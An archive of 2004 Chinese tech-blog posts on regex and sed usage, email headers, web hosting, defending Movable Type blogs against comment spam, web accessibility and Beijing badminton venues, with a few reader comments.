[转帖] 但愿老死电脑间，不愿鞠躬老板前 ^_^

Fri, 24 Sep 2004 15:15:34 +0800

程序员的桃花庵

写字楼里写字间，写字间里程序员；程序人员写程序，又拿程序换酒钱。酒醒只在网上坐，酒醉还来网下眠；酒醉酒醒日复日，网上网下年复年。

但愿老死电脑间，不愿鞠躬老板前；奔驰宝马贵者趣，公交自行程序员。别人笑我忒疯癫，我笑自己命太贱；不见满街漂亮妹，哪个归得程序员。

BBS逐渐在Blog化

Mon, 20 Sep 2004 22:30:26 +0800

最近看到“天涯社区”也推出了blog，其实最值得做BLOG就是原来的社区系统，里面有大量的知识积累，blog虽然只是数据库另外一种面向个人的视图：BBS2BLOG。利用BBS聚集人气，利用BLOG做个人发布，利用WIKI做知识管理，BBS => Blog => Wiki 算是社群CMS的几个发展阶段吧。

Really advanced perl RegEx reference

Mon, 20 Sep 2004 22:28:07 +0800

Samples Swap two item s/(\S+)\s+(\S+)/$2 $1/

Search C identifier m/[A-Za-z][A-Za-z0-9]*/ m/[[:alpha:]][[:alnum:]]*/

Empty Line /^$/

Word \b\w+\b

Questions

Reference perlre (bytes and utf8) regex.h (regcomp regexec regfree regerror) (single byte only) java (unicode only) python (bytes and unicode)

Basic Structure

Syntax m/regex/ismx s/regex/replacement/ismxg

Flags i case-insensitive s single-line or dot-match-all (only affects .) m multi-line (only ^ $) x allows space and comment (perl specific) g global subsitution

Alternations m/ABC|XYZ/

Sequence m/ABC/

Flickr的网络收藏夹服务

Thu, 16 Sep 2004 21:30:49 +0800

FlickrBlog

http://www.typepad.com/t/trackback/1100813

越来越多的SN服务将原有存储在私人域的知识变成了公开域或半公开域的知识。del.icio.us的收藏夹服务是个人收藏夹的公开；linkedin是通讯录的半公开；

这些服务的共同特点就是通过搜索将这些线索通过关键词联系在一起，形成了一个更加网状的社会网络。而其中，全文检索是一个很重要的搜索方式。互联网好比一个大数据库，各种服务在通过各种方式进行着数据挖掘和生产。

Google的XML接口 XooMLe

Tue, 07 Sep 2004 21:20:48 +0800

Google的XML接口 XooMLe：XooMLe

C550手机管理软件：Motorola mobile PhoneTools

Mon, 06 Sep 2004 00:20:52 +0800

1 下载C550的USB驱动； 2 安装Motorola mobile PhoneTools 3 从BVRP获得最新版本的升级包

Motorola mobile PhoneTools支持的机型很多，但是没有图片等文件的上传下载功能。

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

马国儒 · 2007-03-18 11:46

我的手机安装了c550驱动软件后，但在我的电脑上还是没有啊！！！那位高手帮忙啊!!

邮件常用Header

Sun, 05 Sep 2004 18:50:07 +0800

使用PHP的mail函数做邮件发送的例子：

更详细的邮件头信息说明：

Reading Email Headers List of Common Headers Apparently-To: Messages with many recipients sometimes have a long list of headers of the form “Apparently-To: rth@bieberdorf.edu” (one line per recipient). These headers are unusual in legitimate mail; they are normally a sign of a mailing list, and in recent times mailing lists have generally used software sophisticated enough not to generate a giant pile of headers. Bcc: (stands for “Blind Carbon Copy”) If you see this header on incoming mail, something is wrong. It’s used like Cc: (see below), but does not appear in the headers. The idea is to be able to send copies of email to persons who might not want to receive replies or to appear in the headers. Blind carbon copies are popular with spammers, since it confuses many inexperienced users to get email that doesn’t appear to be addressed to them. Cc: (stands for “Carbon Copy”, which is meaningful if you remember typewriters) This header is sort of an extension of “To:”; it specifies additional recipients. The difference between “To:” and “Cc:” is essentially connotative; some mailers also deal with them differently in generating replies. Comments: This is a nonstandard, free-form header field. It’s most commonly seen in the form “Comments: Authenticated sender is rth@bieberdorf.edu”. A header like this is added by some mailers (notably the popular freeware program Pegasus) to identify the sender; however, it is often added by hand (with false information) by spammers as well. Treat with caution. Content-Transfer-Encoding: This header relates to MIME, a standard way of enclosing non-text content in email. It has no direct relevance to the delivery of mail, but it affects how MIME-compliant mail programs interpret the content of the message. Content-Type: Another MIME header, telling MIME-compliant mail programs what type of content to expect in the message. Date: This header does exactly what you’d expect: It specifies a date, normally the date the message was composed and sent. If this header is omitted by the sender’s computer, it might conceivably be added by a mail server or even by some other machine along the route. It shouldn’t be treated as gospel truth; forgeries aside, there are an awful lot of computers in the world with their clocks set wrong. Errors-To: Specifies an address for mailer-generated errors, like “no such user” bounce messages, to go to (instead of the sender’s address). This is not a particularly common header, as the sender usually wants to receive any errors at the sending address, which is what most (essentially all) mail server software does by default. From (without colon) This is the “envelope From” discussed above. From: (with colon) This is the “message From:” discussed above. Message-Id: (also Message-id: or Message-ID:) The Message-Id is a more-or-less unique identifier assigned to each message, usually by the first mailserver it encounters. Conventionally, it is of the form “gibberish@bieberdorf.edu”, where the “gibberish” part could be absolutely anything and the second part is the name of the machine that assigned the ID. Sometimes, but not often, the “gibberish” includes the sender’s username. Any email in which the message ID is malformed (e.g., an empty string or no @ sign), or in which the site in the message ID isn’t the real site of origin, is probably a forgery. In-Reply-To: A Usenet header that occasionally appears in mail, the In-Reply-To: header gives the message ID of some previous message which is being replied to. It is unusual for this header to appear except in email directly related to Usenet; spammers have been known to use it, probably in an attempt to evade filtration programs. Mime-Version: (also MIME-Version:) Yet another MIME header, this one just specifying the version of the MIME protocol that was used by the sender. Like the other MIME headers, this one is usually eminently ignorable; most modern mail programs will do the right thing with it. Newsgroups: This header only appears in email that is connected with Usenet—either email copies of Usenet postings, or email replies to postings. In the first case, it specifies the newsgroup(s) to which the message was posted; in the second, it specifies the newsgroup(s) in which the message being replied to was posted. The semantics of this header are the subject of a low-intensity holy war, which effectively assures that both sets of semantics will be used indiscriminately for the foreseeable future. Organization: A completely free-form header that normally contains the name of the organization through which the sender of the message has net access. The sender can generally control this header, and silly entries like “Royal Society for Putting Things on Top of Other Things” are commonplace. Priority: An essentially free-form header that assigns a priority to the mail. Most software ignores it. It is often used by spammers, usually in the form “Priority: urgent” (or something similar), in an attempt to get their messages read. Received: Discussed in detail above. References: The References: header is rare in email except for copies of Usenet postings. Its use on Usenet is to identify the “upstream” posts to which a message is a response; when it appears in email, it’s usually just a copy of a Usenet header. It may also appear in email responses to Usenet postings, giving the message ID of the post being responded to as well as the references from that post. Reply-To: Specifies an address for replies to go to. Though this header has many legitimate uses (perhaps your software mangles your From: address and you want replies to go to a correct address), it is also widely used by spammers to deflect criticism. Occasionally a naive spammer will actually solicit responses by email and use the Reply-To: header to collect them, but more often the Reply-To: address in junk email is either invalid or an innocent victim. Sender: This header is unusual in email (X-Sender: is usually used instead), but appears occasionally, especially in copies of Usenet posts. It should identify the sender; in the case of Usenet posts, it is a more reliable identifier than the From: line. Subject: A completely free-form field specified by the sender, intended, of course, to describe the subject of the message. To: The “message To: “described above. Note that the To: header need not contain the recipient’s address! X-headers is the generic term for headers starting with a capital X and a hyphen. The convention is that X-headers are nonstandard and provided for information only, and that, conversely, any nonstandard informative header should be given a name starting with “X-”. This convention is frequently violated. X-Confirm-Reading-To: This header requests an automated confirmation notice when the message is received or read. It is typically ignored; presumably some software acts on it. X-Distribution: In response to problems with spammers using his software, the author of Pegasus Mail added this header. Any message sent with Pegasus to a sufficiently large number of recipients has a header added that says “X-Distribution: bulk”. It is explicitly intended as something for recipients to filter against. X-Errors-To: Like Errors-To:, this header specifies an address for errors to be sent to. It is probably less widely obeyed. X-Mailer: (also X-mailer:) A freeform header field intended for the mail software used by the sender to identify itself (as advertising or whatever). Since much junk email is sent with mailers invented for the purpose, this field can provide much useful fodder for filters. X-PMFLAGS: This is a header added by Pegasus Mail; its semantics are nonobvious. It appears in any message sent with Pegasus, so it doesn’t obviously convey any information to the recipient that isn’t covered by the X-Mailer: header. X-Priority: Another priority field, used notably by Eudora to assign a priority (which appears as a graphical notation on the message). X-Sender: The usual email analogue to the Sender: header in Usenet news, this header purportedly identifies the sender with greater reliability than the From: header. In fact, it is nearly as easy to forge, and should therefore be viewed with the same sort of suspicion as the From: header. X-UIDL: This is a unique identifier used by the POP protocol for retrieving mail from a server. It is normally added between the recipient’s mail server and the recipient’s actual mail software; if mail arrives at the mail server with an X-UIDL: header, it is probably junk (there’s no conceivable use for such a header, but for some unknown reason many spammers add one).

Q版奥运冠军

Sun, 05 Sep 2004 14:19:30 +0800

来自ChinaUI: ![](http://www.chinaui.com/bbs/UploadFile/2004-8/200482515021220.gif)

选择国外的虚拟主机服务

Sun, 05 Sep 2004 02:03:44 +0800

最近将内容搬迁到了国外的服务器上，为此申请了国外的虚拟主机服务：以下是申请过程的备忘和一些国内外服务的比较。

2005-05-01 PowWeb已经被Great Firewall屏蔽了，所有的便宜的虚拟主机在国内都无法访问了。从维护上，请BLOGGER之间相互帮忙，尽量在国内相互“收养”吧……

大部份朋友向我推荐国外的Hosting都是依据“web hosting”的google搜索结果，而且女性好像对右侧的sponser match也很认同；

赞助商链接

五大 Web Hosting 評論列出低于$10美元的五大虛擬主機深入的相互比較幫您做出明智的選擇 Lowest-Price-Web-Hosting.com

支付是通过招行信用卡支付，我选择的是PowWeb：比起LINUX，我更相信FreeBSD，还有就是AWStats的支持；

1000M 空间，邮箱 FTP POP/SMTP mysql CGI/PHP 日志访问

发现国外的虚拟主机服务比国内成熟一些： 1 价格都是 8$/mon 左右，不想国内之间差价这么大； 2 支持的功能比国内丰富：日志统计，垃圾邮件过滤等； 3 英文文档丰富/翔实：国外人工太贵，所以基本不要指望有人工支持； 4 比较慢：FTP上传速度是10k左右，毕竟通过海底光缆延迟较多； 5 服务器上限制较少：没有并发1个FTP等限制，没有想51.net那样限制使用：phpinfo() 和其他命令执行等；允许APACHE原始日志/错误日志访问（有后台日志轮循），错误日志很重要，否则安装CGI程序根本无法调试，此外，很多还提供了自动的Webalizer和AWStats日志统计服务； 6 国外没有人工后台技术支持，文档虽然多，但是仍然比较难配置：相比只下，国内很多傻瓜式服务的确是非常有效：比如字域名的设置，国外会详细的教你如何使用.htaccess和url rewriting，没有一定的Webmaster基础很难开始用起来。但是虎翼就是几个菜单：然后告诉你30分钟后生效。

随着信用卡的普及，可以预见到越来越多的中国用户选择线上支付购买国外产品，目前国外购买产品主要的问题是运费太贵和本身的差价。但是在虚拟主机上，国内主要的优势尽在于本地化的人工支持和速度。从中我们也看到了很多Open Source软件的使用，我想这也是很多open source得到这些WEB HOSTING服务商的支持的原因。感觉国外的开源软件和系统服务商之间形成了一个比较良性的生态群落。

此次迁移的最大收获之一：垃圾邮件数量级的减少了！！！原来每天要收到50封以上，现在一般只有3，5封。

后记：发现虽然支持子域名解析，但是日志里没有子域名的日志？原因是每个服务包下只支持一个日志。

💬 历史评论

以下 9 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

jeffsang · 2004-12-10 21:28

拜读你的好多文章，很有收获，在此特表感谢！希望你一如既往地写下去，我也会一如既往地读你的文章^_^

williamlong · 2005-07-03 09:51

项目管理的软件和.htaccess生成器

Fri, 30 Jul 2004 19:59:09 +0800

1）项目管理的软件 Edgewall | Trac，内置了wiki，还有 Subversion版本控制。是用 Python写的，使用SQLite数据库。大家看看是否适合于wego的开发管理。 2）.htaccess的管理上次zheng提到.htaccess文件的控制，有两个有用的参考: htAccess Generater Demo .htaccess utorial - Part 1 ouyang

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

hallen · 2006-04-08 12:28

项目管理? 现在很需要哦,不知道站长还有没有其他推荐的软件? 期待中……

Unix上用vi和sed进行文本替换：Search/Replace

Tue, 20 Jul 2004 22:48:09 +0800

Unix is a Four Letter Word: Vi —> Search and Replace

VI中： 1,$ s/pattern/newstr/g

用sed更方便： sed -e s/pattern/newstr/g filename > filename.new

谢谢DelphiJ

注意：FreeBSD上是 sed -E

相应的perl脚本： perl -pe ‘~s/pattern/newstr/g’

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Lei · 2004-11-17 14:47

you can try:

perl -pi -e “s/string1/string2/g” filename

本周CNBlog例会：Grassland搜索的后台迁移

Sat, 17 Jul 2004 23:54:42 +0800

域名查询结果

已被注册的域名： grassland.cn grassland.net.cn grassland.org.cn grassland.com grassland.net grassland.info grassland.biz 未被注册的域名： grassland.com.cn grassland.gov.cn grassland.name grassland.tv grassland.cc

有问题的域名： grassland.org

但愿grassland.org域名能够顺利注册，我计划将目前的Grassland后台搜索迁移到Lucene平台上。

希望吕克让能帮我个忙，把目前的WebLucene系统完全转换到UTF-8的界面中。

感觉韩国人很团结

Thu, 08 Jul 2004 17:51:46 +0800

在Yahoo!总部Sunnyvale培训：发现总部的韩裔工程师会主动陪着从韩国来的同事从头到尾一起听课，帮助他们解释一些问题等等，感觉他们之间很团结。

韩国人显得更加关注自身的问题。他们也许更加专心利用有限的资源解决自身问题。Sunnyvale华人很多，几乎遍布Yahoo!各个部门，感觉各种支持无处不在。但是为什么搜索在中国还是做的还是不如竞争对手呢？

💬 历史评论

以下 6 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

s22 · 2004-07-08 22:18

羡慕之余，是否应该从自己做起呢？

atlans · 2004-07-08 23:58

车东在SOUFUN的时候努力做过技术方面的主题培训感觉不错因为时间原因没有参与更多不过现在一直在关注。

ada · 2004-07-09 14:58

己所不欲，勿施于人；己所欲，必先施于人。

WebLeOn · 2004-07-12 01:16

我这里的韩国人也一样,总在一起,他们其实都是比较害羞的.

soudown · 2004-09-10 21:38

中国人好像是比较散。

kenway · 2004-09-22 15:42

朋友们,我们应该取长补短!

利用robots.txt防止针对Movable Type的comments和backtrack ping SPAM

Mon, 28 Jun 2004 10:20:28 +0800

从周围使用MT朋友的经验来看：针对MT系统的搜索引擎SPAM已经成为越来越严重的问题，很多利用MT这样对用户留言比较开放的CMS系统进行的SPAM程序：自动探测MT发布系统的留言入口，发布垃圾信息，目的就是为了通过当前BLOG发布页面中的评论作者主页链接获得到自己网站的反相链接，引导Googlebot的抓取，从而获得更高的PageRank。

本文主要设想利用搜索引擎的robots.txt标准：通过MT系统主动告知搜索引擎蜘蛛直接对话：告诉那些内容是经过当前BLOG发布者完全控制的，那些是可能不受到发布者控制的。只让搜索引擎的蜘蛛抓取BLOG发布者自身完全控制部分的信息，不仅尽可能减少了spammer进行spam的机会，更重要的要无法让spammer达到他们的目的。

2005-01-05 Six Apart发布官方anti comment spam说明

2005-01-08 Jeremy’s mod_rewrite anti comments spambot

从CatHome01的讨论我想到了一个使用Referer来判断是否是来自本网站的附加校验：这样就避免了一次对提交模板的修改。趁spammer还没有开始模拟referer还能抵挡一阵吧。

use CGI qw(:standard); if ($ENV{'REQUEST_METHOD'} ne "POST" || !($ENV{'HTTP_REFERER'} =~ /InputYourDomainHere/) ) { print "Content-Type: text/html\n\n"; print "Error occurred: "; die(); }

比如：我自己网站上的就是：

use CGI qw(:standard); if ($ENV{'REQUEST_METHOD'} ne "POST" || !($ENV{'HTTP_REFERER'} =~ /chedong\.com/) ) { print "Content-Type: text/html\n\n"; print "Error occurred: "; die(); }

另外：大家都越来越懂得了BackTrack ping是为自己获得反相链接的好办法。很多家网站的BLOG系统都开始进行自动bACKtRACK发现：甚至只要引用了网站的，都会自动找到这个网站的最新一篇BLOG发上一个trackback ping。backtrack ping成为spammer鱼肉的日子不远了。

MT插件：MT-Blacklist - A Movable Type Anti-spam Plugin。解决MT的comments 和backtrack ping SPAM问题除了通过黑名单BLOCK外，另外一个方面在于让spammer无法达到获得反相静态链接从而达到它们spam googlebot获得pagerank的目的。其实在Movable Type 2.661中首先已经把评论和TRACK BACK链接全部改为动态链接，而不是直接指向留言者主页的静态链接： /path/to/mt/mt-tb.cgi?__mode=view&entry_id=520 然后只要告诉GOOGLEBOT和BAIDUSPIDER等crawler不要抓取这些动态页面，让那些spammer发好了：反正它们的网站是不会直接从我的网站上得到直接的静态反相链接了，SPAMMER从中一点好处也得不到，也省得blogger经常收到通知就需要马上去删那些MT spam。

关于WEB字体的介绍：verdana和georgia字体

Sat, 26 Jun 2004 01:51:44 +0800

Georgia & Verdana 这2种字体的确是很多BLOG中常见的字体，以至于虚线的边框和Georgia都感觉是blogger的特征。其实很多blog系统的设计都遵循了W3C的CSS2 + XHTML 1.1 规范，通过与内容的分离，使得这些系统的表现更加丰富。

Georgia & Verdana - typefaces for the screen - www.will-harris.com中字体对用户感受的影响做和很多分析，分析方法非常值得学习……

Baidu Tips: 百度小提示

Sat, 26 Jun 2004 01:39:26 +0800

小提示:输入自己的名字，便可看到有谁与您同名，也许还可看到别人对您的评价小提示：如果您打不开某个网页结果，请点击该结果后面的百度快照，即可查看该网页了小提示:百度提供计算器功能，输入"234-105"，点击搜索按钮，即可得到计算结果小提示:输入"北京长城饭店电话"即可查到饭店的电话号码小提示:搜电影、电视剧、小说，用"《》“可得准确结果，如搜”《手机》“可准确得到该电影信息小提示:想知道历史上的7月13日发生了什么事情，搜"7月13日"即可小提示:输入您的生日搜索一下，也许可以找到与您同年同月同日生的人小提示:想了解吴敬琏的简历，搜"吴敬琏简历"即可小提示:想知道什么是博客，搜"博客是”，即可得到答案小提示:想知道刘德华的生日，搜"刘德华生日"即可小提示:想找蔡依林的写真图片，搜"蔡依林写真"即可小提示:想知道谜语"三月荷包尚未开"的答案，直接搜"三月荷包尚未开"，即可得到答案"春卷" 小提示:直接输入拼音，百度会返回最相符的关键词供您参考，如"xigua"，百度将提示"西瓜" 小提示:不小心输入了错别字，百度会提示您正确的关键词，如"蛋吵饭"，百度将提示 “蛋炒饭” 小提示:百度可搜索3亿中文网页，是全球最大的中文搜索引擎小提示:要找诗句"随风潜入夜"的下句，直接搜"随风潜入夜"，即可得到下句诗词小提示:想知道景点九寨沟的旅游信息，搜索景点名称"九寨沟"即可小提示:百度支持度量衡换算，输入"3升=?立方米"，点击搜索按钮，即可得到换算结果小提示:想要更精确的结果，只需输入更多关键词，如搜"后天电影导演"可直接找到该导演信息小提示:查某支股票价格行情，直接搜股票代码 “600600”，即可得到该支股票的最新价格

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

dirk · 2004-07-23 17:42

我觉得baidu的这些小提示非常讨厌。我一般在点击查询结果的时候，会先看一下地址，现在加了这个小提示，非常影响人。

不过还好，我不怎么使用baidu.

提高Web 设计的可读性 (web design readability)

Wed, 23 Jun 2004 14:28:35 +0800

参考：无障碍网页开发：规范及技术手册提高Web 设计的可读性 (web design readability)

看到这篇规范收获很多：其中关于radio button的可用性是这样描述的：
<FIELDSET> <LEGEND>不好的设计： <INPUT name="sex" type="radio" checked>男性<INPUT type="radio" name="sex">女性 «– 点击"女性"左边的radio才能做选项切换

Vs
`
` ``好的设计： ````男性````女性 <<-- 点击"女性"这个文本就能够做选项切换

第一个表单必须点击radio本身才能做选项切换，第2个表单只需要点击文字部分就能做相应的选项切换。虽然只是一点点改进，但是让用户鼠标可以比较容易的进行模糊的操作。

源代码如下：主要是通过label和相应的id做了关联

`
` ``不好的设计：男性``女性 <<-- 点击"女性"左边的radio才能做选项切换

和
`
` ``好的设计： ``男性``女性 <<-- 点击"女性"这个文本就能够做选项切换

附：无障碍网页开发规范行政院研究发展考核委员会中华民国九十二年九月

内容大纲壹、前言 1 贰、无障碍网页设计准则 2 一、无障碍网页可及性设计原则 2 二、无障碍网页设计程序 3 参、优先等级 6 肆、检测等级 6 伍、十四条规范 7 陆、标准检测码 14 一、检测码格式 14 二、检测码讯息 15 附件：中英名词对照 21 参考标准 24

中华民国九十二年七月一日函颁实施壹、前言本规范的规划和订定主要是参考W3C(World Wide Web Consortium)协会的WAI(Web Accessibility Initiative)组织订定的无障碍网页内容标准相关规范，并参照各国在制定无障碍网页相关政策和推广策略的做法，及国内近年来在身心障碍者保护政策、无障碍空间的推动、视觉障碍者在无障碍网络相关措施的努力等经验所订定。本规范所订定的网页各种可及性设计的准则内容，其适用范围包括有视觉障碍 (visual disabilities)、听力障碍 (hearing disabilities)、肢体障碍 (physical disabilities)、和认知障碍或神经疾病 (cognitive or neurological disabilities)等方面的身心障碍人士使用网页信息所必须考虑的种种因素。除此之外，其考虑因素也包括这些身心障碍人士所使用的特殊上网装置 (包括屏幕阅读机、屏幕扩大机、特殊按钮、特殊键盘、特殊显示装置、点字输入装置和点字显示器等)，这些装置可能是使用各种不同的操作系统，或只具有基本的网页浏览功能。本规范可供公众网站的拥有者、网站管理人员、网页开发者、及身心障碍人士使用，网站拥有者及网页开发人员在规划网站的架构与内容时，应先参考本规范，以开发出无障碍的网站。若是网站内容无法符合本规范的相关条文，应该依据本规范的条文做必要的修改以符合网页的无障碍设计。身心障碍人士在上网浏览网站信息时，若碰到无法克服的障碍，可参考本规范的条文透过适当管道要求网站拥有者予以修正。本规范内容包括无障碍网页可及性设计四项原则、三个优先等级、六个检测等级、十四条规范、和九十个标准检测码。其章节安排的顺序可提供一个信息网站在处理无障碍网页的规划、开发、设计、检测、和认证等工作时，可以依各发展阶段对于无障碍网页开发的需要提供相关的指引。贰、无障碍网页设计准则本章说明网页开发人员在设计网页时应该依循的作业方式和考虑原则。一、无障碍网页可及性设计原则网页开发人员在规划网站的架构、资源内容的整理和呈现的处理、网页相关技术的取舍等相关因素时，应该依循下列四个无障碍网页可及性设计原则。原则一：多媒体相关信息的可及性针对网页内各种多媒体信息(包括影像、图形、语音、音乐、影片等)应加入替代或等值的文字以提高这些信息的可及性。因为这些替代文字可以让屏幕阅读机、点字显示器等各种特殊输出装置做进一步处理，让视觉障碍者或听觉障碍者可以使用其它替代方式获得其信息内容。至于针对认知障碍或神经疾病人士而言，应该在网页的重要信息上避免使用炫光、快速动态影像等媒体效果，以免造成其在使用网页时的不适。有关此原则的详细内容包括在规范一、二、四、七、十四。原则二：网页结构和呈现处理的可及性网页结构的设计很容易因为网页呈现美观的考虑而牺牲可及性设计。例如，网页设计者可能因为考虑网页文字对齐和美观，而采用表格和页框做排版功能，如此一来网页就可能具有许多无任何信息意义的表格和页框而混淆了特殊输出入装置的处理功能；网页设计者可能因为要凸显信息内容的对照关系而采用不同颜色的区域，这可能造成特殊输出入装置无法辨识的状况。以上设计的方式都可能破坏网页的可及性设计，因此在规划网页结构和呈现时应同时考虑可及性的因素，适当的使用网页的结构卷标，忠实地利用结构和呈现卷标原先设定的功能，毋贪一时的便利或美观而混用不当的标签。

北京羽毛球场地预定电话

Mon, 21 Jun 2004 22:37:07 +0800

绿野论坛 - 羽毛球场馆，价格，预定等情况

海淀区　　　　首都体育馆（训练馆）海淀区中关村南大街　　　　电话：68335552 转训练馆拥有木地板羽毛球场地14片；　　　　开放时间：09:00-22:00；　　　　收费标准：　　　　周一至周五：白天30元/小时；　　　　晚上和周末：35元/小时。　　　　　　　　首都体育馆（比赛馆）海淀区中关村南大街　　　　电话：68335552 转比赛馆拥有木地板羽毛球场地12片；　　　　开放时间：09:00-22:00；　　　　收费标准：30元/小时。　　　　　　　　首都羽毛球网球健身中心（首体速滑馆）海淀区中关村南大街　　　　电话：68317646 拥有木地板羽毛球场地42片；　　　　有浴室，8元；预定卡1000元；无卡不可电话预定；　　　　开放时间：09:00-22:00；　　　　收费标准： 30元/小时（17:00以后及节假日）；　　　　 25元/小时（其它时间）。　　　　　　　　中央民族大学　　　　体育馆　　　　海淀区中关村南大街有7片木地板羽毛球场。　　　　开放时间：12:00-22:00。　　　　收费标准：30元/小时。　　　　　　　　海淀体育馆海淀区芙蓉里　　　　电话：62563336-3018 有6片木地板羽毛球场；　　　　在北京大学西南侧，硅谷电脑城北；　　　　周五下午，周末及每天晚上人多，不预订一般不易有空场，其它时段比较空；　　　　开放时间：08:00-21:00；　　　　收费标准：20元/小时；预定：25元/小时。　　　　　　　　北方交大体育馆　　　　海淀区上园村3号　　　　电话：63240329 有10片木地板羽毛球场；曾为全国大学生羽毛球赛比赛场地，灯光还可以，场地一般，有看台　　　　收费标准：　　　　周一至周五：上午8元（学生价），下午10元（学生价），晚上6:00起25元（学生20元）；周一至周五白天只对学生开放；　　　　周末和节假日：上午7:00～8:00，10元/小时，其它时间25元（学生20元）。　　　　　　　　北方交大电专校区羽毛球馆　　　　海淀区高粱桥斜街路　　　　电话：62256644-2140 有4片木地板羽毛球场；场地较硬，灯光一般，场地较好定，可电话预定；　　　　开放时间：9:00-22:00；　　　　收费标准：　　　　周一到周五：白天15元/小时；　　　　晚上和周末：20元/小时。　　　　　　　　北京航空航天大学体育馆　　　　海淀区学院路37号有6片木地板羽毛球场。光线较好、开学期间订场较易、服务质量一般。　　　　开放时间及收费标准：　　　　周一至周五：　　　　 06:30~~10:00：15元/小时　　　 10:00~~16:00：25元/小时　　　 16:00~~21:30：30元/小时　　　　假日：　　　　 06:00~~10:00：20元/小时　　　 10:0021:00：35元/小时　　　　　　　　中国石油大学校内馆　　　　海淀区学院路有4片木地板羽毛球场；该馆为学生训练赛场地。光线一般、除了周六、日当时就可订到场地、服务质量一般，只有春节期间放假；　　　　收费标准：25元/小时。　　　　　　　北京科技大学活动中心　　　　海淀区学院路30号有4片羽毛球场，防滑大理石地面，高度一般，基本够用；可电话预定　　　　开放时间：9:00 22:30　　　　收费标准：10元/小时　　　　　　　北京师大体育馆　　　　海淀区北师大校内　　　　电话：62208044 有8片木地板羽毛球场；　　　　地板有点滑，晚上灯光有些晃眼，但基本上不影响打球，可电话预定；　　　　开放时间：　　　　星期一五18:00－22:00，周六、日9:00－22:00收费标准：　　　　 25元/小时（本校学生20元/小时，需学生证）　　　　　　　首都师范学院体育馆　　　　西三环花园桥路有5片木地板羽毛球场；　　　　开放时间、收费标准：　　　　星期一五8:00-17:00：15元/小时　　　星期一~~五17:00-21:00：25元/小时　　　　星期六~~日8:00-21:00：25元/小时　　　　　　　育英中学羽毛球馆　　　　海淀区万寿路有10片木地板羽毛球场。一楼高度不够，二楼要有电灯补充光线，订场容易、服务质量一般，设施一般。　　　　开放时间：9:00-22:00 　　　收费标准：20元/小时(一楼)；25元/小时(二楼) 　　　　　　工运学院羽毛球馆　　　　海淀区增光路45号　　　　电话：68424477-2351 有木地板羽毛球场地2片。　　　　开放时间：　　　　周一~~五 9:00～21:00；周六~~日 6:00～22:00。　　　　收费标准：　　周一~~五 20元/小时；周六~~日 25元/小时　　　　　　北京体院康乐村　　　　海淀区圆明园东路　　　　电话：62989496 拥有木地板羽毛球场地2片。　　　　开放时间：周六、周日及节假日　　　　收费标准：20元/小时　　　　　　　　北大附中　　　　羽毛球馆海淀区黄庄有木地板羽毛球场地8片(木地)　　　　收费标准：25元/小时。　　　　　　二炮司令部体育馆海淀区　　　　清河小营环岛西　　　　电话：66338570 有9片木地板羽毛球场，条件尚可，但不可电话预定；军事禁区，记住从北小门进，有看台；　　　　开放时间：周一至周日，10:00-21:00　　　　收费标准：25元/小时。　　　　　　北京大学生体育馆　　　　北三环西路21号　　　电话：82099320 　　　　　82099305 拥有木地板羽毛球场地16片；　　　　开放时间：9:00-22:00　　　　收费标准：30元/小时。　　　　　　北京体师综合馆　　　　北三环西路21号　　　　电话：62369479 拥有木地板羽毛球场地12片；　　　　开放时间：　　　周一至周五18:00～22:00；　　　周六至周日 9:00～22:00；　　收费标准：25元/小时　　　　　　北京体育大学羽毛球馆　　北京体育大学有4片木地板羽毛球场；高度稍微有点矮，而且空中有障碍物，灯光晃眼。　　　收费标准：25元/小时　　　　　　北京林业大学体育馆　　北京林业大学有10多片木地板羽毛球场；大场馆，有看台，条件不错。　　收费标准：25元/小时（本校成员：15元/小时）　　　　　　贝特羽毛球俱乐部　　裕中西里（北三环马甸桥东北）　　北京市警校院内　　电话：82021674 共16片场地，楼下8片，南、北三楼各4片，楼下灯光较低，稍有晃眼，楼上为弧形顶，稍显低；　　　开放时间：9:00～22:00；　　收费标准：35元/小时　　　　　　希格玛大厦健身俱乐部　　海淀区希格玛大厦地下一层星期天健身俱乐部有一块木地板羽毛球场地。光线好，高度略有不足　　　　收费标准：会员30元/小时，非会员50/小时。　　　　　　　　朝阳区　　　　　　朝阳体育馆　　　　朝阳区六里屯西口　　　　电话：65011023 有12片木地板羽毛球场；　　　　开放时间：周一~~周日及节假日；　　　　收费标准：　　　　周一~~五：30元/小时；周六~日：40元/小时。　　　　　　　工人体育馆　　　朝阳区三里屯　　　电话：65016655 转羽毛球馆

MoreGoogle提供的网页缩略图服务

Sat, 19 Jun 2004 11:12:32 +0800

2004-11-16 新推出的Google Desktop Search也提供了一个缩略图功能：它能对网页缓存中的页面进行缩略图生成，你搜索到的结果页面都有缩略图在右面。

MoreGoogle (带网站缩略图的Google): add features to Google - including Thumbnails

安装了MoreGoogle后，在IE中浏览，所有搜索结果都会带有缩略图：同时还有只想ALEXA的相关网站和其它站点信息等连接。

另外： google.icq.com的服务上也有缩略图服务：提供商为 girafa.com

目前这些服务主要是提供搜索结果链接所在网站的首页的缩略图。

每天到REFERER到我的网站上来的主页上去溜达一下

Mon, 14 Jun 2004 23:03:22 +0800

从我的REFERER统计中认识到的人能学到越来越多的东西：逐渐养成了每天到REFERER到我的网站上来的主页上去溜达一下的习惯。今天在Isli’s网站上看到一个很方便的配色生成工具：slayeroffice | tools | color palette creator v1.4 要是有调色板功能就更好了。

石头兄推荐：简单的配色工具，更好。

2004-11-16 Booso的Referer服务目前已经非常流行了。不过对于个人网站来说：还是搜索引擎带来的流量最多。比如：Google和百度等。

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

tristones · 2004-06-15 11:10

我以前提到的一个配色工具也不错哦。 :) http://tristones.viaspeip.com/archives/000376.html

一项针对Free Software/Open Source 开发者的调查

Mon, 14 Jun 2004 00:45:03 +0800

The WIDI Free Software/Open Source Developer Survey http://widi.berlios.de/paper/study.html 一项针对Free Software/Open Source 开发者的调查，调查内容涉及到这些开发者的地理分布、个人背景等等，可惜太长了只大概浏览了一遍

Developer Locations在对开源领域的贡献这方面，我们输给了日本:(——是因为我们起步比他们晚吗？

吕克让
